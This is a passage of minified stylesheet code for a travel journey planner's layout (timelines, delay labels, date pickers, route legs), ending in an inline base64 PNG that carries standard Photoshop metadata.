Std;padding-right:0;padding-left:0;display:-ms-flexbox;display:flex}.planner__hour{position:relative;margin-right:10px;padding-bottom:9px;text-align:left;font-weight:700;line-height:22px;-ms-flex:0 0 50px;flex:0 0 50px}.planner__line-wrapper+.planner__hour{text-align:right;margin:0 0 0 10px}.planner__line-wrapper+.planner__hour .planner__delay{right:0;left:auto}.planner__delay{font-size:14px;line-height:8px;font-weight:700;color:#d03802;display:block;white-space:nowrap}.planner__delay--black{color:#3a3a3a}.planner__line-wrapper{-ms-flex:1 1 auto;flex:1 1 auto}.planner__line{display:-ms-flexbox;display:flex;overflow:hidden}.planner__line .timeline__dot{-ms-flex:1 1 auto;flex:1 1 auto}.planner__line .timeline__dot:last-child{min-width:20px}.planner__earlier,.planner__later,.planner__nextday{color:#006ab3;background:#ddf1fa;width:100%;padding:10px;border-bottom:2px solid #fff;position:relative}.planner__earlier,.planner__later{background:#f1f5f5;border-bottom:none;text-align:center;padding:0}.planner__earlier:after,.planner__earlier:before,.planner__later:after,.planner__later:before{content:" ";display:table}.planner__earlier:after,.planner__later:after{clear:both}.planner__earlier .planner__content,.planner__later .planner__content{padding:20px 10px}.planner__earlier .link.disabled,.planner__earlier .link:disabled,.planner__later .link.disabled,.planner__later .link:disabled{cursor:not-allowed;color:#dedede}.planner__earlier .link>.icon,.planner__later .link>.icon{top:3px}.planner__earlier__loader,.planner__later__loader{padding:20px 10px}.planner__earlier{border-bottom:2px solid #fff}.planner__earlier .link:hover>.icon{transform:translateY(-3px)}.planner__earlier__loader{border-top:2px solid #fff}.planner__later .link:hover>.icon{transform:translateY(3px)}.planner__later__loader{border-bottom:2px solid #fff}@media (min-width:992px){.planner{max-width:420px;height:100%;background:#f1f5f5}.sidebar .planner:after{content:"";background:#f1f5f5;height:100%;width:100%;position:absolute}.planner__item{border-bottom:2px solid #fff;background:transparent;padding:18px 20px}.planner__item.active:before{width:0}.planner__content{max-width:320px}}.planner__close{display:none;float:right}.planner__input--datetime{display:-ms-flexbox;display:flex}.planner__input--datetime input{padding-left:0}.planner__input--datetime>.datepicker,.planner__input--datetime>.input,.planner__input--datetime>.select,.planner__input--datetime>.timepicker{margin-bottom:10px}.planner__input--datetime>.datepicker:first-of-type,.planner__input--datetime>.input:first-of-type,.planner__input--datetime>.select:first-of-type,.planner__input--datetime>.timepicker:first-of-type{margin-right:6.66667%}.planner__input--datetime .datepicker .pika-single{width:100%!important}.planner__input--datetime.native .datepicker .input,.planner__input--datetime.native .timepicker .input{margin-bottom:14px}.planner__baseline{margin-top:40px}.planner__baseline .hide-mobile:not(a){display:block!important}.planner__ar:after,.planner__ar:before,.planner__departure:after,.planner__departure:before{content:" ";display:table}.planner__ar:after,.planner__departure:after{clear:both}.planner__ar .rad,.planner__departure .rad{float:left;margin:0 0 20px}.planner__ar .rad:first-of-type,.planner__departure .rad:first-of-type{margin-right:6.66667%}.planner__cta .btn{display:block}.planner__cta>.link{color:currentColor;margin-top:25px}.planner__options--sum{display:block}.planner__options--sum .chk{margin:9px 0}.sidebar--options-list .planner__options--sum{display:block;margin:18px 0}.sidebar--open .planner__cta,.sidebar--open .planner__departure,.sidebar--open .planner__options--sum{display:block}@media (min-width:650px) and (max-width:991px){.planner__cta .btn{width:46.66667%}.planner__options--sum .chk{width:46.66667%;float:left}.planner__options--sum .chk:nth-of-type(odd){margin-right:6.66667%}}@media (min-width:992px){.planner__close,.planner__cta,.planner__departure,.planner__options--sum{display:block}.planner__cta .btn{width:100%}}.planner-dtl{margin:40px 0 0}@media (max-width:991px){.planner-dtl{margin:20px 0 0}}.planner-dtl--print{display:none}.planner-dtl__list{padding-bottom:10px}.planner-dtl__leg{padding-left:0}.planner-dtl .timeline__dot img,.planner-dtl__leg--arrival .planner-dtl__item:last-of-type .timeline__dot.timeline__dot-transfer:after{display:none}.planner-dtl__item,.planner-dtl__item ol,.planner-dtl__leg,.planner-dtl__leg ol{break-inside:avoid}.planner-dtl__item:before,.planner-dtl__leg:before{content:" ";display:table}.planner-dtl__item{display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;padding:0;width:100%;max-width:100%}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot{width:25px;height:100%}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot .timeline__dot__icon-wrapper{width:25px;height:25px}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot .timeline__dot__icon-wrapper .icon{width:100%;height:100%}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:after,.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:before{right:50%;transform:translateX(50%);z-index:-1}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:before{z-index:0}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:after,.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:before{top:10px;width:auto;height:calc(100% - 13px);border-radius:0;border-bottom:none;border-left-width:3px;border-left-style:solid}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:before{height:calc(100% - 50px)}@media (min-width:650px){.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot{width:30px;height:100%}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot .timeline__dot__icon-wrapper{width:30px;height:30px}.planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot .timeline__dot__icon-wrapper .icon{width:100%;height:100%;padding:5px}}.planner-dtl__item--transfer .timeline__dot,.planner-dtl__item--walk .timeline__dot{width:25px;height:100%}.planner-dtl__item--transfer .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk .timeline__dot .timeline__dot__icon-wrapper{width:25px;height:25px}.planner-dtl__item--transfer .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk .timeline__dot .timeline__dot__icon-wrapper .icon{width:100%;height:100%}.planner-dtl__item--transfer .timeline__dot:after,.planner-dtl__item--transfer .timeline__dot:before,.planner-dtl__item--walk .timeline__dot:after,.planner-dtl__item--walk .timeline__dot:before{right:50%;transform:translateX(50%);z-index:-1}.planner-dtl__item--transfer .timeline__dot:before,.planner-dtl__item--walk .timeline__dot:before{z-index:0}.planner-dtl__item--transfer .timeline__dot:after,.planner-dtl__item--transfer .timeline__dot:before,.planner-dtl__item--walk .timeline__dot:after,.planner-dtl__item--walk .timeline__dot:before{background-image:url("data:image/png;base64,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/GMzLdsAAEFUaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjUtYzAyMSA3OS4xNTU3NzIsIDIwMTQvMDEvMTMtMTk6NDQ6MDAgICAgICAgICI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3Nob3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwveG1wOkNyZWF0b3JUb29sPgogICAgICAgICA8eG1wOkNyZWF0ZURhdGU+MjAxOC0wNC0wNFQxMzo1ODozOCswMjowMDwveG1wOkNyZWF0ZURhdGU+CiAgICAgICAgIDx4bXA6TWV0YWRhdGFEYXRlPjIwMTgtMDQtMDRUMTQ6MDM6MzQrMDI6MDA8L3htcDpNZXRhZGF0YURhdGU+CiAgICAgICAgIDx4bXA6TW9kaWZ5RGF0ZT4yMDE4LTA0LTA0VDE0OjAzOjM0KzAyOjAwPC94bXA6TW9kaWZ5RGF0ZT4KICAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9wbmc8L2RjOmZvcm1hdD4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDo0NjcyZDdlOS0yYzgyLTQyOWQtODMzYi1hOWVlM2M5YzNkNTI8L3htcE1NOkluc3RhbmNlSUQ+CiAgICAgICAgIDx4bXBNTTpEb2N1bWVudElEPmFkb2JlOmRvY2lkOnBob3Rvc2hvcDphMDgyNmU2OC03ODhlLTExN2ItYmEzOC1mZmQxOWUxODY3NzA8L3htcE1NOkRvY3VtZW50SUQ+CiAgICAgICAgIDx4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDo1NTA0N2ZmMC1lNTZiLTQ1MjctYmYwZC0yZTExNzA1ZTk3Y2U8L3htcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5jcmVhdGVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6NTUwNDdmZjAtZTU2Yi00NTI3LWJmMGQtMmUxMTcwNWU5N2NlPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDEzOjU4OjM4KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6OWQwNjFkZmItNzNlOS00NDkzLThjNTctM2I1MzRkZjNkMDhlPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDE0OjAzOjI2KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6OGJiYjU2ZGUtNTcxYS00ODM3LTk3ZjgtYTJiY2VjZDYzYzQ1PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDE0OjAzOjM0KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNvbnZlcnRlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5mcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nPC9zdEV2dDpwYXJhbWV0ZXJzPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgICAgPHJkZjpsaSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDphY3Rpb24+ZGVyaXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5jb252ZXJ0ZWQgZnJvbSBhcHBsaWNhdGlvbi92bmQuYWRvYmUucGhvdG9zaG9wIHRvIGltYWdlL3BuZzwvc3RFdnQ6cGFyYW1ldGVycz4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6NDY3MmQ3ZTktMmM4Mi00MjlkLTgzM2ItYTllZTNjOWMzZDUyPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDE0OjAzOjM0KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgIDwvcmRmOlNlcT4KICAgICAgICAgPC94bXBNTTpIaXN0b3J5PgogICAgICAgICA8eG1wTU06RGVyaXZlZEZyb20gcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICA8c3RSZWY6aW5zdGFuY2VJRD54bXAuaWlkOjhiYmI1NmRlLTU3MWEtNDgzNy05N2Y4LWEyYmNlY2Q2M2M0NTwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDo1NTA0N2ZmMC1lNTZiLTQ1MjctYmYwZC0yZTExNzA1ZTk3Y2U8L3N0UmVmOmRvY3VtZW50SUQ+CiAgICAgICAgICAgIDxzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDo1NTA0N2ZmMC1lNTZiLTQ1MjctYmYwZC0yZTExNzA1ZTk3Y2U8L3N0UmVmOm9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHBob3Rvc2hvcDpDb2xvck1vZGU+MzwvcGhvdG9zaG9wOkNvbG9yTW9kZT4KICAgICAgICAgPHBob3Rvc2hvcDpJQ0NQcm9maWxlPnNSR0IgSUVDNjE5NjYtMi4xPC9waG90b3Nob3A6SUNDUHJvZmlsZT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxleGlmOkNvbG9yU3BhY2U+MTwvZXhpZjpDb2xvclNwYWNlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+ODwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4yMDwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI